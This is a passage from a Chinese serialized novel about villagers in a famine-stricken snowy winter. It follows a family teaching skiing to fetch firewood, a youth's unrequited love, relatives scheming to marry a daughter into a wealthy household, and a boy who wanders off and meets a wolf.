“你去找程云要吃的了?” 少女嘲讽的笑意在脸上蔓延开,高娟儿觉得自己在对方的注视下无所遁形。 她快步要走,却被高婵儿的身形挡住去路。 “你告诉他我跟洪少爷的事了?” 高婵儿语气笃定,颇瞧不起堂妹打小报告换吃食的行为,心里却隐隐有些得意。 饥荒年代,有人愿意用粮食打听她的动向,证明她在对方眼中,地位举足轻重。 “他听了什么反应?” 高娟儿看出高婵儿眼底得意的笑,没好气道:“他很伤心,都哭了,他不想你嫁给劳什子洪少爷。” 高婵儿捂嘴笑起来,笑颜如花,确实很好看,是高娟儿躲在屋里对镜子练习八百遍,也学不来的美丽。 “癞蛤蟆想吃天鹅肉,也不看看自家什么条件!”高婵儿眼神鄙夷。 高娟儿不满道:“程家怎么了?程家在咱们村里不差的,程云的姑姑暴雪之前卤肉生意做得风生水起,你当时不还说,若能嫁进程家,天天都能吃上肉吗?” 那时候,洪家小厮没出现,高婵儿不知道这辈子有嫁入高门大户的机会,目光自然只会在周围几个村子的少年身上转悠,选来选去,觉得程云还行。 加上她知道程云对她有情,只要她点头,嫁入程家不是难事。 后来,她又见到程家那位远亲,长得风神俊逸,一下子勾走她的心思,程云被抛之脑后。 可今时不同往日,她是要当少奶奶的人,这些泥腿子在她眼里,给她提鞋都不配。 高婵儿上下扫了眼从小一起长的妹妹,怜悯地扯了扯高娟儿身上捉襟见肘的破袄子:“只有你这样要长相没长相,要身材没身材的乡下丫头,才会为一口吃的惦记给人家上门当媳妇,就是不知道程云瞧不瞧得上你。” “你……”高娟儿气的红温,视线不由自主落在高婵儿耸起的胸部和纤细的腰肢,再看看自己一马平川的胸口和根本看不出线条的屁股和腰,辩驳的话显得无力极了。 “你少得意,还没嫁进洪家呢,小心煮熟的鸭子飞了!” 高婵儿只当她是吃不到葡萄说葡萄酸,理着鬓角的碎发,一扭腰走了。 连走路的姿势也比她好看,高娟儿气死了,想回屋躺着又怕被爷奶抓着问偷吃了什么东西,干脆走出屋子,漫无目的在雪道里游荡。 高娟儿低着头,脑海中反复涌现高婵儿的话,越想越难受,越想越自卑,忍不住抽泣起来。 不知过了多久。 “喂,你没事吧?” 身后响起一道少年声音。 高娟儿转头看到来人,立马擦抹眼泪站起身:“你来干什么?” 程云睡不着,出来逛逛,不自觉走到高家门前,想着能不能偶遇高婵儿,又想到晚上他娘说荤油吃了会上吐下泻,顺便看看高娟儿是不是真的拉肚子了。 “我……”看到少女没擦干净的泪痕,程云询问心上人的话堵在嗓子眼,换了个话题,“我娘说肉饼冷吃对肠胃不好,你没拉肚子吧?” 一提这高娟儿就来气,刚准备骂人,怕以后程云不给他荤肉吃了咋办,撒了个小谎:“没有啊,我好得很。” “那你哭什么?” “谁哭了?雪迷了眼,我在擦眼睛。”高娟儿要强,不承认。 程云懒得戳破她,还是没忍住:“婵儿呢?” “婵儿婵儿,你有没有礼貌,她比你大,你应该叫她婵儿姐姐。”高娟儿现在一听到这个名字就火大。 程云:“就大一岁,我不叫。” 高娟儿懒得理他,准备离开,肚子又开始咕噜噜叫起来,这回不是肚痛,是饿了。 晚饭档口,她在茅厕拉肚子,家里正好吃晚饭,等她回去时,锅底别说米,连口米汤都没剩下。 没东西吃,今晚又要睡不着了。 “喂,”高娟儿忸怩道,“有没有吃的?” 第一百五十四章 我嫁过去穿金戴银 赵氏发现,最近儿子的胃口变大了,总在饭后给自己加餐。 有时是一块红薯,有时是半截玉米,还有的时候锅里剩下的粥莫名其妙不见了…… 想着儿子长身体,她就没多问。 程云的个头比去年抽条不少,站在程大壮身边,快跟他老子差不多高。 只是身板有些瘦弱,还未长成男子汉魁梧挺拔的模样。 程大壮抱着滑雪板进屋,上头的绑带有些松懈,拿回来让赵氏帮忙改改。 赵氏嫌他费扎绳,抱怨道:“才几天啊,又坏了,要是出门断在半道上,你找谁给你修去?” 程大壮窝在灶膛旁烤火,闻言笑道:“不怕,把你带着,坏了媳妇给我补。” 家里没别人,难得有夫妻二人独处的时光,赵氏露出罕见女儿形态,将线团砸向丈夫:“想得美。” 程大壮抬手接过杂乱的线团,帮着整理起来:“谁让我娶了个好媳妇,进得了厨房,上得了雪场,小妹说了,我跟阿云加起来都没你天赋高。” 提起儿子,赵氏不免想到他的婚事。 “阿云也到了该说亲的年纪,这几日我冷眼瞧着,他心里可能装了人。” 整理好的毛线重新放在针线筐里,程大壮憋在心里好几日的事,终于找到合适机会宣之于口。 “咱儿子,像是看上大福家的孙女了。” “他真有喜欢的姑娘啦?”赵氏先是一喜,待听清对方是谁,脸上的笑意明显淡了几分,“高大福的孙女?怎么偏偏是高家的人。” 高家是村里少见的儿子多却过得不像样的人家,大福婶出了名的刁蛮泼辣,将三个儿媳训得服服帖帖,大福叔惫懒不问事,生的三个儿子跟老子一样,一窝的懒货。 先前合伙挖雪道,大福家几个男人偷懒耍滑的事,大伙儿心知肚明。 这样家庭养出来的孩子…… 赵氏一阵叹息。 罢了,不能一棍子打死所有人,万一歹竹出好笋呢。 赵氏忙问:“高家好几个孙女呢,哪一个啊?” 程大壮欲言又止:“要不你去训练场瞧瞧?” 新的训练场地,从贵叔家门前,换到村里一处有斜坡和宽道的露天场地。 近二十个人,三个成一组,分开协助练习。 程云走后门,跟程诺求了很久,终于让对方松口,将他跟高婵儿分到一组,同组的还有溪妹。 高婵儿的滑坡技术在一众村民中不算好,但她在平地上的稳当性,却数一数二。 程云雪杖往身后一滑,整个人移到高婵儿面前,稳稳落定,殷勤道:“婵儿,我教你滑斜坡吧。” 高婵儿眼尾扫了他一下:“不用,我用不着学这个。” 程云不解:“鹿山上斜坡林立,学不会你怎么下来?” “谁说我要去鹿山?”高婵儿这回连眼皮都懒得施舍。 程云一噎,立马道:“是是是,你一个女孩子去鹿山也砍不了树,没关系,我帮你砍,你在山下等着就行。” 高婵儿嗤笑一声:“就你?” 洪少爷和十七没出现前,程云在她眼里也算一位不错的候选对象,人长得周正,个子遗传他老子,以后肯定矮不了,这对一家矮窝窝的高家来说,是很有吸引力的优势。 她有意无意间对他释放过魅力,话里话外给过程云希望。 十七一出现,程云在他面前跟小孩似的,一切在顷刻间被秒成渣。 如今她又被洪少爷看上,程云早入不了她的眼,连多说一句话都费劲。 程云看出心上人对他的不屑,想起高娟儿说她要嫁给有钱人家当少奶奶的话,心里一痛:“婵儿,你非得嫁给那个洪少爷吗?你知道他是什么样的人吗?” 提到洪少爷,高婵儿难得露出一抹笑:“我不需要知道他是什么样的人,我只知道他家鱼满筐肉满仓,炭火堆得比山高,我嫁过去穿金戴银,仆妇成群。老话说得好,嫁汉嫁汉穿衣吃饭,女子嫁人不就是博一个好前程吗?难道我要嫁个泥腿子,一辈子过着背朝黄土面朝天的日子吗?” 程云想说,背朝黄土面朝天有什么不好,祖祖辈辈都是这么过来的,踏踏实实靠双手吃饭,不偷不抢有什么见不得人。 但他没开口,面前姑娘显然听不进去他的话。 这几日,程云一直在找机会跟高婵儿说话,对方却有意躲着他。 明明从前的高婵儿不是这样的,她会对着他笑,对他轻声细语地说话,她还送过他香囊,女子将亲手绣的香囊赠人是什么意思,他再傻也知道。 难道就因为突然冒出来的洪少爷,二人过往种种全都不算数了? 高婵儿没有给他继续纠缠的机会,走到溪妹面前:“溪嫂子……” 程云不死心,也跟过去。 陷入单相思的少年,不知道此刻的举动落在对方眼中有多像狗皮膏药。 高婵儿不堪其扰,直接去程诺面前说要换队。 程诺看了眼不远处失魂落魄的大侄子,知道冰天雪地中有一颗少男心破碎了。 见到这一幕的不仅有程诺,还有赶来看儿子心上人的赵氏。 赵氏一见二人之间的气氛,立马察觉出不对劲。 儿子丧眉丧眼,魂不守舍,显然人家没瞧上他。 “阿云,回家了。” 程云听到母亲喊声,走上前:“娘,今天的训练还没结束。” 赵氏白眼看他:“你还有心思训练吗?” 程云脸一白,咬紧牙关,倔起来:“我可以!”说着雪仗往后一推,人瞬间滑远了。 程诺走过来,赵氏用眼睛睨她:“这么大的事,我不信你不知情,亏我把你当好妹妹,你跟你哥全瞒着我。” 程大壮举手表示冤枉:“我可没瞒着你,我是忙忘了。” 程诺笑着上前挽住赵氏的胳膊,撒娇道:“大嫂别怪我,要是阿云跟那女孩子你情我愿,我肯定欢欢喜喜跑去告诉你这个好消息,可情况你也看见了,落花有意流水无情啊。” 赵氏看自己儿子自然哪儿都好,鼻子一哼:“她看不上我云儿,我还瞧不上高家姑娘呢,穷得叮当响,懒得躺家里生蛆,两家成不了最好,省得我还要费力让人分开。” 程大壮见二人聊开,怕惹火上身,踏着板子滑远了。 赵氏话虽这么说,见儿子落魄样,心里堵得慌。 再看不远处穿青袄,身量纤纤的姑娘,侧过来的半边脸小巧精致,肤白秀丽,一瞬间秒懂为什么儿子喜欢人家。 “那女娃为何不喜欢你大侄子?”赵氏用胳膊耸程诺,她笃定程诺知道些什么。 程诺瞒不过赵氏,贴在她耳边小声说了几句。 赵氏听完,心里震惊大过儿子被甩的羞恼。 “镇上富户洪家要娶高婵儿?” 第一百五十五章 准备进山 是撞大运,还是其中有鬼,赵氏琢磨不清,又问:“这么大的事,村里人怎么一点动静没有?你从哪知道的?” 村里妇人的嘴多漏啊。 消息若是真的,不需要她去打听,最多一夜功夫,便会传得全村都知道。 程诺:“是高老二女儿说的,假不了,高家没往外宣扬,可能是怕雪灾上门打秋风的人多。” 输给大户人家不丢人,赵氏一瞬间舒心了。 或许是她儿子感情上有此一劫难,好姑娘多得很,再找就是了,只要儿子不钻牛角尖,高家的事情她懒得关心。 赵氏目光紧盯雪地里傻站着的程云,见他视线时刻紧跟高婵儿的背影,好不容易放下的心,此刻再次被提起,事情恐怕还没完。 入夜,灶膛里的柴火即将熄灭之际,程诺又往里添了块木炭,暗红的炭块在灰烬里明明灭灭,映得土墙上的影子也跟着摇晃。 家里囤积的柴火全部烧完了,同村其他人家中什么情况可想而知。 今晚的晚饭是面片汤,一人一碗,大人再配上一块红薯,配菜还是程诺先前腌制的缸子肉,今天换了新做法,里头切了土豆一起炖,配上程家常吃的小咸菜。 桌上全是吸溜汤面的声音,人人吃得香。 除了走神的程云,手里的筷子几乎要伸进鼻孔里。 赵氏看他一脸不值钱的样子,阻止程大壮给儿子夹菜的动作:“别管他。” 程父大条,没看出饭桌上众人的心思。 他问:“村民滑雪学得怎么样了?有没有说哪天可以去鹿山砍柴?” 程大壮将肉塞嘴里,回答道:“快了,小妹眼神毒辣,选出来的人学得又快又好,再练两天,跟村长商议后,就能出发了。” 距离程诺开始教授村民滑雪,过去近十日功夫。 这些日子,滑雪小队的成员增增减减,最终固定在十八个人。 程家除了年迈的程父,以及两个小女娃,剩下的全在滑雪小队中,其余十五人分别来自村里十五户人家,男女数量相当,年纪跨度较大。 年纪最小的是高家大孙女高婵儿,年纪最大的是刚满四十五岁的何海平,也是先前那位抢着抚养阿宝的何家远亲。 程父:“听说高家有个小孙女也入选了,叫……高、高什么来着?” “高婵儿!” 程云的神不知从哪个地方飘回来:“爷爷,她叫高婵儿。” 程父点点头,随即咂舌道:“高家真是奇怪,不让儿子来,不让孙子来,选了个女娃娃来滑雪,细胳膊细腿的,能去山上砍柴吗?” 赵氏嗤笑一声:“爹,人家根本不是为了去鹿山学滑雪的,高家傍上大户了,以后飞黄腾达,再也不是咱们能攀扯上的。” 程大壮咳嗽一声:“别家的事,别在外瞎说。” 赵氏瞪他:“我在自家饭桌上说都不行了?咱家辛苦教村民滑雪,连程三狗都知道送五个红薯做做样子,高家有送来半个铜板当拜师礼吗?有什么样的长辈,就教出什么样的孩子。” 程大壮闭了嘴。 这事确实是高家不地道。 程云“啪嗒”一声将碗筷放下,脸色一沉,就往外走。 赵氏呵斥:“大晚上,要去哪?” 程云:“出走走走。” 赵氏跟着站起身:“不许去找她。” 程云脚步一顿,转过头的目光带着自暴自弃:“娘放心,人家压根不愿搭理我。” 又是这幅半死不活的样子,赵氏看得恨不得一脚踹他进雪地里清醒清醒。 程诺见母子两要吵起来,立马推了推一旁的女儿。 小盼儿喊起来:“二哥,你去哪儿?带盼儿一起……” 阿宝跟着喊:“阿宝也要一起。” 程诺笑道:“你们两还不快跟上哥哥。” 身后跟着两个小尾巴,程云即便真的想去找高婵儿,此刻也去不了了。 程父看了全程,抓着有些稀疏的脑袋,问十七:“老大家的跟小云怎么了?” 十七给他夹了一筷子肥瘦相间的大肉:“多吃点,估计明后天就得爬鹿山,到时候家里还需您照应。” 砍柴是大事,程父瞬间将赵氏母子两的不愉抛诸脑后。 十七猜测的不假,第二天村长集合滑雪小队,安排隔天上山砍柴事宜。 隔天一早,要出门的几户人家,起了大早,给要上山的家人准备粮食。 说是粮食,其实就是家里剩下什么做什么,条件好的带上红薯窝头,条件差的就问邻居借些。 大伙儿能帮忙就搭把手,毕竟邻居家没选上进山,还要靠别家施舍点柴火。 程家灶台。 程云和赵氏忙活许久,做出三十几张肉饼,肉掺得不多,加上扛饿的白面,用油煎得两面金黄。 留下十张给程父和两个女娃当粮食,其余分成五份,各自塞在小挎包内,程诺十七、赵氏程大壮和程云,一人背一个。 水壶里也被程诺装满干净的清水。 这些日子以来,在程诺日复一日耳濡目染中,大伙儿习惯将雪水烧热后再喝,程家人如今从骨子里有了雪水不能直接饮用的认知。 这是暴雪以来,村民第一次进山。 大伙儿不敢掉以轻心,准备得很充足。 集合地点选在离村口最近的一户人家,刚好是雪道尽头。 程家人赶到时,大伙儿正在交谈,脸上一扫先前的郁色,看起来精神奕奕,有看到希望的红光满面。 “你家柴火还有吗?我家昨天连桌子都点燃烧了。” “没了,好在今天就能砍柴带回来了,老天爷保佑,出行顺利。” “一定没问题,我老娘今早烧了香,香燃得可漂亮了。” “怕什么,大伙儿这么多人,相互照应着,程师傅和十七师傅不也跟着一起去,真有什么事,他们会照应咱的。” 十来日功夫,程诺和十七在众人口中的称呼,从一开始的程家那两小辈,变成四娘和十七,现在人人见了都得恭敬喊上一句“程师傅”“十七师傅”。 在场的每个人,谁没在雪地上摔倒过无数次,没有程诺,他们学不会滑雪,没有十七,他们扭伤的胳膊腿,还脱着臼呢。 见到程诺过来,人群依次打起招呼。 年纪大些的,笑着喊:“小程师傅早。” 年轻一辈,恭敬地叫:“程师傅早。” 跟程诺关系好的小李,憨憨一笑:“四姐姐,你来啦。” 程诺停下脚步,问他:“家里安顿好了?” 小李点头:“安顿好了,我托了贵婶帮我照应,”说着,他用只有两人能听到的声音道,“雪娃喝了奶粉,闹腾得少,现在绿草一个人就能照应。” 雪娃是小李儿子的乳名。 程诺点点头,开始清点人群。 十五户人家,来了十四人,少了一户。 程诺扫了一眼,便知是谁没来,明知故问:“还有谁没来?” 第一百五十六章 满载而归 人群中有人回答:“好像是大福的孙女没来,要不要派个人去问问?” “不用去了,今天一早,大福婶说高婵儿发了高烧,起不来床,让大伙儿不用等她。”说话的是高家邻居。 众人一听,神态各异。 “昨天还好好的,怎么突然就烧上了?昨晚好像既没刮大风,也没下雪吧?” “一说去鹿山砍柴就病了,先前天天在外头练滑雪,也没见高婵儿病啊痛的。” “不会是故意的吧?” 也有心善的婶子,担忧道:“真感染风寒可了不得,没大夫没草药,会要人命的。” 赵氏扫了眼儿子的神色,见他一脸担忧,心里冒出一股无名火。 下一秒听到程云道:“山上有治风寒的草药,我、我们砍树的时候注意些,没准碰上了,能带些回来送给婵……高家。” 众人敷衍道:“是,会的。” 大冬天,草药能不能活还两说,即便活着,被暴雪压在底下,能找到的几率趋近于零。 伐树囤柴都来不及,谁有闲工夫操心别家的事。 赵氏趁人不注意,一脚踹儿子屁股上,低骂道:“要你逞英雄,你是不是傻,生病是高婵儿不想干活编出来唬人的谎话,就你个呆子会相信。” 程云委屈地捂住屁股:“万一是真的呢?” 赵氏恨铁不成钢,咬着后槽牙道,“那也不关你的事!” 程诺看破不戳破:“既如此,我们出发吧,跟之前说好的一样,五个人一组,每一对之间的间隔不要超过五丈距离,遇到滑坡,再把距离拉开,时刻注意队友的安危,发现不对劲及时向前后求援。” “我会在最后给各位托底,遇事不要惊慌,切记,进了山,注意说话音量,以防造成雪崩。” “遇到危险保命第一,财物永远没有人命重要!” “诸位听清楚了吗?” 程诺站在屋顶,俯视屋檐下的村民,声音清澈,力道却似沉雷碾过冻土,每一个字裹着不容置疑的分量,眸光如炬,好似看着脚下的千军列阵,让人不自觉绷直脊背。 字字凿进村民的心,不是商量的口气,即便轻声慢语,却带着沙场秋点兵的肃杀,让人不敢插嘴,只能屏气凝神,直到她最后一个尾音落下,才敢吐出一口浊气。 十七双手环胸,仰头望着上方的女子,不必拍案,众人已信服,无须怒目,异议自消弭。 他笑了,他仿佛看到一位意气风发的女将军,开口是军令状,是虎符裂帛,听者唯有领命而行。 滑雪小队依次上房。 一个接着一个从上头滑下去,朝着鹿山方向前进。 外头是一片白雪皑皑,这里没有众人熟悉的雪道,也没有辨别门户的烟囱,有的是被大雪裹挟的参天大树,有的是远处或高或低,却无一不被积雪覆盖的山坡。 走在最前列的,对鹿山地形最熟悉、滑雪技能学得最好的成员。 其中包括十七、小李、溪妹,以及程大壮夫妻两。 鹿山距离大梨村有十几里地,单靠挖雪道,集全村之力,至少也得一个月才能疏通,有了滑雪板,一个时辰功夫,大伙儿已经到达山脚下。 山脚也是一片白茫茫,上下山的道路被积雪遮蔽。 抬头是整个被大雪覆盖的山峰,似乎与天界相连。 “注意别长时间盯着雪看。”十七叮嘱。 溪妹和小李忙收回视线,发现眼前已有晕眩症状,过了一会儿才缓过来。 山下就有错落不一的树,因为积雪堆积得高,往常需要仰头才能看到的树顶,现在踮踮脚好似就能触碰到枝丫。 “山上的运起来麻烦,先砍山下的树。” 鹿山附近不止一个村落,所以要赶在他们来之前先把容易砍伐的带回去。 好在目前周围没有人迹,他们应该是第一批赶过来的。 露出来的枝丫并不粗壮,程大壮抬起斧头,三两下拦腰砍断。 其他村民有样学样,没多久,鹿山下一侧的三四棵冒头的树被悉数砍断。 暴雪来之前,大梨村不少百姓听了程父的话,来鹿山伐木囤过柴火。 山下能烧柴的树所剩不多,能找到三四株已是万幸。 “这么大一截,怎么带回去?”小李疑惑道。 程大壮拿起斧头,作势要砍:“当然是跟从前一样,劈成一小截,扛在身后。” 程诺刚想阻止,已经有人快她一步,拦住他:“不成,太重了,这四棵树我们所有人一起背,也运不回去。” 十七继续道:“砍成截费时费力,运回去也不方便。” 程大壮觉得有道理,但想不到更好的办法,“那咋办?总不能丢在这儿,大伙儿好不容易砍地。” “不用砍,用绳子拖。”程诺绕到一株看起来最小的树干旁,从程大壮身后背篓里拿出麻绳,仔细绕在树干上,接着喊来溪妹。 “溪妹,你来拖动试试。” 溪妹是所有人里力气最小的,胜在动作灵活,技巧性强。 她能拖动,在场所有人都能拖动。 溪妹诧异地指了指自己:“我?”动作却听从程诺的指令,拉着麻绳一头,开始往后拉。 树干动了,但幅度不大。 溪妹摇头:“不行,拖不动。” 鹿山的地势比大梨村高,刚才大伙来时,是在往上走,此刻溪妹拖着木头却是往下走。 程诺抬起树干里最大最粗的一根,同样用麻绳捆上,麻绳另一边直接系在腰上,“我来试试。” 话音刚落,她手中的雪杖往后一滑,整个人飘出去,带出的速度连带着身后的树干一起滑出十几丈远。 她的声音传过来:“溪妹,按我的方法,你再试试。” 溪妹立马将麻绳扣在腰上,利用雪杖,没多久人稳稳落在程诺身旁,身后跟着的树干毫发无损,在雪地里拖出一长串树条压出的形状。 见此情形,十七立刻从队伍里又选出两名妇人,将剩下的两棵树一起带走。 —— 大梨村。 留守的村民对上山家人的安危担忧不已,担心他们带不回柴火,更担心路上碰到什么意外。 待在家也是瞎想,干脆聚到村长家等消息,人一多暖和,还能少浪费点柴火。 “回来了,她们回来了。” 有小孩子激动地跑进屋。 屋内的众人没反应过来,愣了一会儿才道:“是去鹿山的人回来了吗?” 小孩子猛点头:“回来了四个。” 四个?其他人呢? 胆小的妇人已经开始自己吓自己:“是不是路上出什么岔子了,是不是遇到雪崩了?” “呸呸呸,不吉利的话不能说,”村长连呸三下,怒视刚才慌得六神无主的妇人,“出去瞧瞧,到底怎么回事。” 程诺等人,将树干就近放在村口第一户人家院中。 “真的运回来啦!”村长惊喜地望着院里的四株粗壮的树干,在此之前,滑雪去鹿山上砍树只是大伙儿绝境中自救的大胆尝试,没人确定冒险一定有用。 此刻亲眼看到树干,众人悬了许久的心终于放下,接着看到头顶上方站着的程诺几人,发现都是妇人,忐忑地问,“其他人呢?还好吧?” 程诺道:“都好,这四棵是山脚下发现的,我们先运回来,其他人这会儿估计已经上山了。” 听到所有人都平安,大伙儿脸上的神情终于放松下来,接着气氛被欢喜彻底掩盖。 “好粗的树干,溪妹,你们怎么运回来的?” “啥,捆身上滑回来的?太厉害了,谁说我们女人没用的,都给老娘站出来好好瞧瞧,女人也能顶半边天的!” “大伙儿别光站着说话呀,拿家伙劈开树干,这么粗一根,能砍不少柴火呢,晚上终于不用挨冻了!” 欢笑声吸引不少同村百姓,见到程诺等人真的运回来树干,羡慕的眼睛都绿了。 “太有本事了,早知道我也去学滑雪,四娘,婶子没到四十五呢,下一次授课记得带上我。” “有没有多的啊,也分我家一点柴,家里孩子冻得浑身是冻疮。” “我家也要,不用多,够一晚上用的就成。” 要不是程诺站在雪上,此刻肯定得被下面涌过来的人群围起来。 好在村长出头,给她解了围。 “柴火怎么分,四娘不知道,有问题得来问我,让她们休息休息。” 程诺等人回程快,只花了不到半个时辰功夫,此刻正好是正午,距离她们早上出发,刚过去不到三个时辰,修整一下,还能再去一趟。 “你们要不要回家一趟,还是咱们原地休息,吃了干粮,直接出发。” 溪妹三人今生头一次被这么多人夸赞,顿时觉得干了件意义重大的事。 她们中有人不受公婆待见,有人不被丈夫尊重,有人觉得女人一辈子都得依靠夫家存活,从不知有一天她们也能成为别人的依靠。 “我们不累,从没觉得这么有劲儿过。”仿佛身上的疲乏一扫而空,神清气爽得很。 “对,吃完就走,鹿山上还不知道什么情况,早点去,还能搭把手。” 四人修整片刻,在村民们的欢送声中,再次消失在茫茫白雪之中,背影潇洒得惹人移不开眼。 “爹娘,咱们也去学滑雪吧?”高娟儿羡慕地看着远去的背影,再次跟高老二夫妇提道。 高老二想都没想拒绝:“要去你自己去。” 高娟儿:“那你们给我点粮食,随便什么都成,总不能空着手去。” 一直没发表意见的陈氏,听到要送粮,一口否决:“家里哪有多余的粮,你弟眼瞅着瘦了一圈,当姐姐的不想办法给他弄点吃的,还要从家里人嘴里抠食,没良心的死丫头。” 高老二:“婵儿学的时候,就没送东西,程四娘不也教了。” 家里没给程家送拜师礼的事,村里不少人背地里蛐蛐,高娟儿听到过不止一次。 她若是送拜师礼,就是在打高婵儿的脸,她要是也不送……不成,她不想被人议论。 高老二说:“婵儿不是学会了吗?你让她教你。” 高娟儿一脸不情愿,前两天两人刚撕破脸,现在低头去求人,她不得被高婵儿嘲笑死。 谁知,没等高娟儿去向高婵儿讨教,高婵儿主动上门要教她滑雪,连滑板和护具都替她准备好了。 高婵儿一改先前高高在上的口吻,牵着高娟儿的手,一口一个好妹妹,恨不得将学到的技巧倾囊相授。 高娟儿见她教得认真,想着两人毕竟血浓于水,又是自小一起长大的姐妹,没有隔夜仇,先前的不愉快瞬间抛诸脑后。 结束短暂的练习后,高婵儿亲热地挽着高娟儿的胳膊,笑道:“娟儿,你学得真好。” 高娟儿真心道:“是姐姐教得好。” 高婵儿眉眼一扬:“等你学会了,我们一起出村,去清河镇逛逛,憋了一个多月,我快无聊死了。” 清河镇有谁,高娟儿哪会不明白。 原来高婵儿打的这个主意。 家里爷奶年纪大,兄弟又小,都不适合滑雪,高婵儿的爹伤了脖子,娘是个胆小怕高的,二房三房的长辈全是惫懒的性子,她这是找了一圈,实在寻不到能跟她一起去镇上找洪少爷的人选,这才主动跟她重修旧好。 高娟儿将手抽出来,皮笑肉不笑:“不好吧,没有长辈,我们两个姑娘家主动上门,会遭人非议的。” 高婵儿脸上依旧带着笑:“冰天雪地连个人影都瞧不见,谁会知道,昨晚我爹娘已经和爷奶商议过了,她们同意你跟我一起去。” 这是把长辈拿出来压她,高娟儿不想去也不成了。 二房屋里。 高娟儿拉着高老二道:“爹,你不去劝劝大伯吗?八字没一撇,哪有姑娘家主动送上门的?” 高老二不耐烦挣脱开:“大房的决定,跟咱们没关系。” “爷奶让我跟高婵儿一起去,怎么就跟咱没关系了。”高娟儿蹲在父亲身旁,哀求道,“爹,你去学滑雪吧,你跟堂姐一起去,到了洪家门前,有个长辈在旁,也显得正式些,别人就算知道也说不出什么来。” 高老二仔细一想,觉得女儿说得有道理,可滑雪多累啊,还得摔跤,万一遇到不测,轻则跟老大一样歪了脖子,重则断胳膊断腿。 他受不了苦,他不愿意学。 “让你去你就去,爹年纪大了,骨头脆,经不起折腾,”高老二今年三十出头,说出这话一点不害臊。 “我不去!”高娟儿态度坚定。 陈氏抱着儿子进屋,刚好听到父女俩的对话,直接在女儿胳膊上狠狠拧了一下:“不去也得去,高婵儿这次上门,没准就直接留在洪家吃香喝辣了。洪少爷若好说话,肯定会看在未来是一家人的份儿上,拉高家一把。” “你若是陪着去,万一洪少爷也能瞧上你,纳你当个妾,我跟你弟的好日子不就来了吗?” 第一百五十七章 擅自脱离队伍 高娟儿蹭得从地上站起来,一脸惊恐地望着亲娘,不相信刚才的话是她说的,质问道:“你让我给别人当妾?还是给高婵儿的男人当妾?” 陈氏被盯得心里发毛:“你什么眼神?进洪家当妾,委屈你了不成?” 高娟儿心比冰湖底的万丈寒冰还要凉,她知道父母偏心弟弟,知道自己不如高婵儿惹人喜欢,可听到陈氏的话,心还是跟刀绞一般。 高老二不顾女儿阴沉的脸色,甚至觉得妻子的话十分有道理:“你娘说得不错,洪少爷若能瞧上你,是你的造化,就怕你主动送上门,人家未必肯要。同样是高家的种,你怎么比婵儿差这么多?” 虽然高娟儿才是亲生的,此刻高老二心中,却宁愿高婵儿才是他的种,大房养出来的女儿相貌好命也好,他养大的却是个不中用的赔钱货。 儿子也是,大房的石头机灵聪慧,他的儿子,五岁了,连句话说不利落,吃饭要人喂,走哪都要人抱着。 他跟大哥是一个爹娘生的,怪只能怪他娶了个不中用的女人,没给他生对好儿女。 陈氏察觉丈夫落在身上的目光,逐渐变得不友善,夫妻多年,太知道眼神什么意思,这是怪她没用呢。 —— 程诺离开鹿山后,在程大壮的带领下,村民一个个爬上了山,很快寻到一片密集的树林。 众人摩拳擦掌,丛林中很快只剩下“砰砰砰”砍伐木头的声音。 程云惦记心上人的病情,他记得鹿山上有一块专门生长紫苏的地儿,从前经常采摘给家里人熬药,可以缓解风寒带来的症状。 那地方比较偏僻,应该还没被人采摘了去。 程云想去摘草药,又怕爹娘不答应,咬着嘴唇思索半晌,决定独自前往,争取速战速决,早点采了药草回来,没准爹娘发现不了,即便发现了,紫苏也到手了,哪怕是被骂一顿,值了。 趁着众人齐心协力砍树之际,程云缓缓退到队伍最后头,用树木做遮挡,很快没了踪影。 等赵氏砍柴累了,想喝口水缓一缓,下意识在人群中搜寻儿子身影时,突然意识到不对劲。 “大壮!”赵氏声音带上抖意,“儿子呢?” 程大壮擦了下鬓边的细汗,四下张望,眼神陡然变得凌厉:“谁看到我儿子程云了?” 四周占了近十人,几乎都是汉子,有人摇头,有人跟着张望搜寻。 突然有人说道:“刚才还在我旁边砍树的,是不是去尿尿了?” 程大壮往稍高的地方走了几步,还是没看到儿子踪迹,心里有了个不好的猜测:“小兔崽子会不会去给高家孙女采草药去了?” 刚才说话的男人眼睛一亮:“真有可能,我刚听他嘴里,一直念叨着紫苏、紫苏……” 赵氏气得一个倒仰:“小王八蛋,看我不抓他回来扒了他的皮。” 十七:“赵嫂子,别生气,先把人找回来要紧。” 赵氏将手里的斧子往地上一丢,直接在雪地里砸出个坑,撸起袖子就要去抓人,“我知道他去哪儿了,我去找!” 鹿山什么地方长了紫苏,还是当初她告诉程云的。 程大壮和十七同时道:“我跟你一起去。” 村民们纷纷道:“我们也去,万一没找到,还能抓紧时间分散开,再找找。” “没错,反正树砍得差不多了,一起去吧,待会儿你们要揍孩子,我们还能看个热闹。” “哈哈哈……正好看看山上还有哪些地方的树能砍,要是遇上点野鸡野兔什么的更好。” 这段时间,大伙儿养成了集体行动的习惯,加上今天砍了树,家里不用再担心柴火烧,心情颇好。 要是能抓到点野味,给家人改善下伙食,更是喜上加喜的好事。 程大壮笑道:“行,那谢谢大伙儿了。” 众人三两成群,开始往山里走去。 另一边,程云真在原先采摘草药的地方,挖到被积雪覆盖的紫苏,好在紫苏耐寒性好,没被冻死。 他宝贝似的踹进怀里,没有立即离开,想着来都来了,万一家里有人也病了,熬煮了能治病。 程云继续往下挖,不知过了多久,终于揣了满怀,准备起身离开之际,突然觉得后背像是被人盯住一般,身体升起一股毛骨悚然之感。 紧接着耳边出来一阵细微的积雪被踩实的“咯咯”声,声音很小,明显不是人脚步能发出的声音,在寂静的林中显得格外清晰。 程云缓缓转过头,整个人愣在原地,如坠冰窖,他目光直直对上一双琥珀色的瞳孔,那是一双犹如冷火的眸,像是淬了冰的刀锋,直直刺入骨髓。 狼。 一头骨瘦嶙峋的狼。 一头眼睛泛着惊喜绿光的孤狼。 程云呼吸停滞,脑海中只剩两个字。 “完了。” 一瞬间,少年连哭都忘了,瞪大眼睛,望着瞳孔扩张成幽深黑洞的狼一步步朝他靠近,吞噬掉他所有想逃窜的念头。 狼龇着发黄的獠牙,喉间发出“呜呜”的恐吓声。 程云浑身能防御的武器,只有手中伐木的柴刀,他死死护在胸前,不敢发声,不敢求救,怕招惹来更多的狼,更怕爹娘听到声音为他涉险。 一瞬间,他脑海里闪过很多人和事,最后摸着胸口的紫苏,喃喃道:“还没有把草药给婵儿……” 后悔吗? 程云问自己。 肯定是有一丝后悔的,要是没来摘草药,他遇不上狼,但心里又有点为心爱之人赴汤蹈火的英雄主义感。 可惜孤狼才不管他英雄救美的自我感动,已经朝程云扑了过来。 